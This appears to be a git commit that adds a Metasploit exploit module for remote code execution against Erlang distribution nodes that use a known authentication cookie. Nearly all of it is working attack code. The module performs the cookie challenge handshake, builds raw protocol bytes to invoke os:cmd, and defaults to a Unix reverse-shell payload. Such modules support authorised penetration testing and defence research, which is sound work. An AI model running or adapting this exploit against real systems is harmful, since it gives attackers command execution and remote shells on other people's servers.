erlang cookie rce exploit module

GSoC/Meterpreter_Web_Console
Milton-Valencia 2018-12-08 22:36:56 -06:00
parent d9e7efa7e2
commit fcad3f0c8f
1 changed files with 118 additions and 0 deletions

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
'Description' => %q{
The erlang port mapper daemon is used to coordinate distributed erlang instances.
Should an attacker get the authentication cookie RCE is trivial. Usually, this
cookie is named ".erlang.cookie" and varys on location.
},
'Author' =>
[
'Daniel Mende', # discovery / blog post
'Milton Valencia (wetw0rk)', # metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => 'false',
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse'
},
'Arch' => [ ARCH_CMD ],
'Targets' => [[ 'Automatic Target', {} ]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 5, 2017',
)
)
register_options(
[
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
Opt::RHOST(),
Opt::RPORT(25672)
])
end
def generate_challenge_digest(challenge)
challenge = challenge.unpack('H*')[0].to_i(16).to_s # chars -> 0xhexstr -> integer -> str
hash = Digest::MD5.new
hash.update datastore['COOKIE']
hash.update challenge
vprint_status("MD5 digest generated: #{hash.hexdigest}")
return [hash.hexdigest].pack('H*')
end
def exploit
begin
connect
our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}"
# SEND_NAME: send initial identification of who "we" are
send_name = "\x00\x15"
send_name << "\x6e"
send_name << "\x00\x05"
send_name << "\x00\x03\x49\x9c"
send_name << "#{our_node}"
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
send_challenge_reply = "\x00\x15"
send_challenge_reply << "\x72"
# SEND: send the message to the node
send = "\x00\x00\x00"
send << [(0x6c+payload.raw.length).to_s(16)].pack('H*')
send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e"
send << "#{our_node}"
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64"
send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e"
send << "#{our_node}"
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04"
send << "call"
send << "\x64\x00\x02"
send << "os"
send << "\x64\x00\x03"
send << "cmd"
send << "\x6c\x00\x00\x00\x01\x6b\x00"
send << [(payload.raw.length).to_s(16)].pack('H*')
send << payload.raw
send << "\x6a\x64\x00\x04\x75\x73"
send << "\x65\x72"
sock.put(send_name)
# recieve servers "SEND_CHALLENGE" token (4 bytes)
print_status("Receiving server challenge")
challenge = sock.get
challenge = challenge[14,4]
send_challenge_reply << challenge
send_challenge_reply << generate_challenge_digest(challenge)
print_status("Sending challenge reply")
sock.put(send_challenge_reply)
sock.get
print_status("Challenge sent, sending payload")
sock.put(send)
end
end
end